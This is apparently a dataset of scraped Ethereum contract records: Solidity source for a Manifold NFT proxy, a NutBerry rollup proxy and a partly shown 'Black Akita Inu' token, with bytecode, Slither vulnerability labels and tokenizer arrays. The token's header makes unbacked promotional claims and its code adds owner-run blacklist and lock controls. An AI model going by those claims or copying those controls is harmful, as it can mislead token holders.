00000000000000000600052601160045260246000fd5b60006136e7826129dc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561371a576137196136ad565b5b600182019050919050565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b600061375b60198361292c565b915061376682613725565b602082019050919050565b6000602082019050818103600083015261378a8161374e565b9050919050565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b60006137ed602f8361292c565b91506137f882613791565b604082019050919050565b6000602082019050818103600083015261381c816137e0565b9050919050565b600081905092915050565b60008190508160005260206000209050919050565b6000815461385081612f2e565b61385a8186613823565b945060018216600081146138755760018114613886576138b9565b60ff198316865281860193506138b9565b61388f8561382e565b60005b838110156138b157815481890152600182019150602081019050613892565b838801955050505b50505092915050565b60006138cd82612921565b6138d78185613823565b93506138e781856020860161293d565b80840191505092915050565b60006138ff8285613843565b915061390b82846138c2565b91508190509392505050565b7f496d706f737369626c6520726573657276652061205a6f6f2047616e6720776860008201527f656e2073616c6520697320616374697665000000000000000000000000000000602082015250565b600061397360318361292c565b915061397e82613917565b604082019050919050565b600060208201905081810360008301526139a281613966565b9050919050565b60006139b4826129dc565b91506139bf836129dc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156139f4576139f36136ad565b5b828201905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613a5b60268361292c565b9150613a66826139ff565b604082019050919050565b60006020820190508181036000830152613a8a81613a4e565b9050919050565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b6000613aed602c8361292c565b9150613af882613a91565b604082019050919050565b60006020820190508181036000830152613b1c81613ae0565b9050919050565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b6000613b7f60298361292c565b9150613b8a82613b23565b604082019050919050565b60006020820190508181036000830152613bae81613b72565b9050919050565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613c1160248361292c565b9150613c1c82613bb5565b604082019050919050565b60006020820190508181036000830152613c4081613c04565b9050919050565b6000613c52826129dc565b9150613c5d836129dc565b925082821015613c7057613c6f6136ad565b5b828203905092915050565b6000613c86826129dc565b9150613c91836129dc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cca57613cc96136ad565b5b828202905092915050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b6000613d3160328361292c565b9150613d3c82613cd5565b604082019050919050565b60006020820190508181036000830152613d6081613d24565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613da1826129dc565b9150613dac836129dc565b925082613dbc57613dbb613d67565b5b828204905092915050565b6000613dd2826129dc565b9150613ddd836129dc565b925082613ded57613dec613d67565b5b828206905092915050565b600081519050919050565b600082825260208201905092915050565b6000613e1f82613df8565b613e298185613e03565b9350613e3981856020860161293d565b613e4281612970565b840191505092915050565b6000608082019050613e626000830187612a71565b613e6f6020830186612a71565b613e7c6040830185612b07565b8181036060830152613e8e8184613e14565b905095945050505050565b600081519050613ea881612892565b92915050565b600060208284031215613ec457613ec361285c565b5b6000613ed284828501613e99565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b6000613f4060208361292c565b9150613f4b82613f0a565b602082019050919050565b60006020820190508181036000830152613f6f81613f33565b9050919050565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b6000613fac601c8361292c565b9150613fb782613f76565b602082019050919050565b60006020820190508181036000830152613fdb81613f9f565b905091905056fea26469706673582212200b4e62b964ef7377bf40112d7796a9a15c0ba4816e46bad861727020aaf2cdaf64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 22025, 2546, 3207, 2509, 2063, 21472, 2063, 18827, 2692, 3207, 16932, 2575, 2487, 2050, 2581, 2581, 27531, 2850, 2475, 2050, 2575, 16048, 2692, 2620, 2278, 16703, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 9201, 6080, 6113, 2011, 12849, 6216, 6593, 13355, 1008, 16770, 1024, 1013, 1013, 9201, 24930, 2078, 6199, 1012, 22834, 1008, 1013, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1031, 1041, 11514, 1033, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,493
0x96e44d11ad21122a6399f322029b52942656beac
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Contract 64 /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // /// CONTRACT 64 /// // // // // ]@@@g // // [email protected]@@@P ,,gggNggg, // // ,@@@@@P ,[email protected]@@@@@@@@@@@@@ // // [email protected]@@@@@w,,[email protected]@@@@@@@@@@@@@@@@@@@@, @@@@@ , // // ,,,[email protected]@@@@@@@@@@BRMP***""""@@@@@@@NP"""[email protected]@@@@@@@` ,@@@@@@ // // ,,[email protected]@@@@@@@@@@@@C [email protected]@@@@@P" [email protected]@@@@@@P` [email protected]@@@@@@@" // // ,[email protected]@@@@@@@@@@@@@@@@@ [email protected]@@@@P" [email protected]@@@@@@P ,[email protected]@@@@@@@@ // // ,[email protected]@@@N*' ]@@@@@@C ]@@@" ,[email protected]@@@P" ,@@@@@@@@@- [email protected]@@@@[email protected]@@@P // // [email protected]@@@P" @@@@@@- @@@P ,@@@@@P [email protected]@@@@@@@@" ,[email protected]@@@" @@@@" // // [email protected]@@@` @@@@@@ ]@@@ [email protected]@@@@C ,[email protected]@@@@@@@@* [email protected]@@@P" [email protected]@@@ // // [email protected]@@@ @@@@@P @@@@ @@@@@C [email protected]@@@@@@@@@@,,@@@@@" @@@@C // // %@@@Ng,, ,@@@@@P @@@ '*NBP ,@@@@@@@@@@@@@@@@@@P` ,@@@@ // // "*[email protected]@@@@@@@@@[email protected]@@@, ,[email protected]@@@" ]@@@@@@@@@P^ [email protected]@@P // // ]@@@@P***[email protected]@@@@@@@@@@@@@@@@@@@@ "%@@@N"" [email protected]@@C // // ,@@@@` @@@- `]@@@@@[email protected]@@@@@[email protected]@@g @@@@ // // [email protected]@@P [email protected]@@ ,@@@@@* `"**[email protected]@ @@@P // // ,@@@@* @@@ [email protected]@@@*- @@@P // // [email protected]@@@ [email protected]@@@@@@P- ,@@@P // // ,@@@@@ [email protected]@@@N^ @@@P // // ]@@@@P ,[email protected]@@@PP @@@@ // // `" ,[email protected]@@@"- ]@@@` // // [email protected]@N' ]@@@ // // [email protected]@P // // "@@ // // -* ... trash ;] // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////// contract C64 is ERC721Creator { constructor() ERC721Creator("Contract 64", "C64") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212207a2b11dc910fb265d2f8958712fe4a1ce3abcde9cbe74c4106847a28fea764b264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 22932, 2094, 14526, 4215, 17465, 12521, 2475, 2050, 2575, 23499, 2683, 2546, 16703, 11387, 24594, 2497, 25746, 2683, 20958, 26187, 2575, 4783, 6305, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 3206, 4185, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,494
0x96E471B5945373dE238963B4E032D3574be4d195
// SPDX-License-Identifier: Unlicense pragma solidity >=0.7.6; /// @notice Contains event declarations related to NutBerry. // Audit-1: ok interface NutBerryEvents { event BlockBeacon(); event CustomBlockBeacon(); event NewSolution(); event RollupUpgrade(address target); } // SPDX-License-Identifier: Unlicense pragma solidity >=0.7.6; import '@NutBerry/NutBerry/src/tsm/contracts/NutBerryEvents.sol'; /// @notice Callforwarding proxy // Audit-1: ok contract RollupProxy is NutBerryEvents { constructor (address initialImplementation) { assembly { // stores the initial contract address to forward calls sstore(not(returndatasize()), initialImplementation) // created at block - a hint for clients to know from which block to start syncing events sstore(0x319a610c8254af7ecb1f669fb64fa36285b80cad26faf7087184ce1dceb114df, number()) } // emit upgrade event emit NutBerryEvents.RollupUpgrade(initialImplementation); } fallback () external payable { assembly { // copy all calldata into memory - returndatasize() is a substitute for `0` calldatacopy(returndatasize(), returndatasize(), calldatasize()) // keep a copy to be used after the call let zero := returndatasize() // call contract address loaded from storage slot with key `uint256(-1)` let success := delegatecall( gas(), sload(not(returndatasize())), returndatasize(), calldatasize(), returndatasize(), returndatasize() ) // copy all return data into memory returndatacopy(zero, zero, returndatasize()) // if the delegatecall succeeded, then return if success { return(zero, returndatasize()) } // else revert revert(zero, returndatasize()) } } }
0x6080604052363d3d373d3d3d363d3d19545af43d82833e8015601f573d82f35b3d82fdfea164736f6c6343000706000a
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 22610, 2487, 2497, 28154, 19961, 24434, 29097, 2063, 21926, 2620, 2683, 2575, 2509, 2497, 2549, 2063, 2692, 16703, 2094, 19481, 2581, 2549, 4783, 2549, 2094, 16147, 2629, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1021, 1012, 1020, 1025, 1013, 1013, 1013, 1030, 5060, 3397, 2724, 8170, 2015, 3141, 2000, 17490, 9766, 1012, 1013, 1013, 15727, 1011, 1015, 1024, 7929, 8278, 17490, 9766, 18697, 7666, 1063, 2724, 3796, 4783, 22684, 2078, 1006, 1007, 1025, 2724, 7661, 23467, 4783, 22684, 2078, 1006, 1007, 1025, 2724, 2739, 4747, 13700, 1006, 1007, 1025, 2724, 4897, 6279, 6279, 24170, 1006, 4769, 4539, 1007, 1025, 1065, 1013, 1013, 23772, 2595, 1011, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,495
0x96e4ce0e504b5865fe174f3445e6206bc0856570
/* // Black Akita Inu (BAKITA) - fork Akita Inu //CMC and CG listing application in place. //Marketing budget in place //Limit Buy to remove bots : on //Liqudity Locked //TG: https://t.me/akitatoken //Website: https://www.akitatoken.net/ // SPDX-License-Identifier: Unlicensed */ pragma solidity >=0.5.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BAKITA is Context, IERC20 { using SafeMath for uint256; using Address for address; struct lockDetail{ uint256 amountToken; uint256 lockUntil; } mapping (address => uint256) private _balances; mapping (address => bool) private _blacklist; mapping (address => bool) private _isAdmin; mapping (address => lockDetail) private _lockInfo; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event PutToBlacklist(address indexed target, bool indexed status); event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil); constructor (string memory name, string memory symbol, uint256 amount) { _name = name; _symbol = symbol; _setupDecimals(18); address msgSender = _msgSender(); _owner = msgSender; _isAdmin[msgSender] = true; _mint(msgSender, amount); emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function isAdmin(address account) public view returns (bool) { return _isAdmin[account]; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyAdmin() { require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function 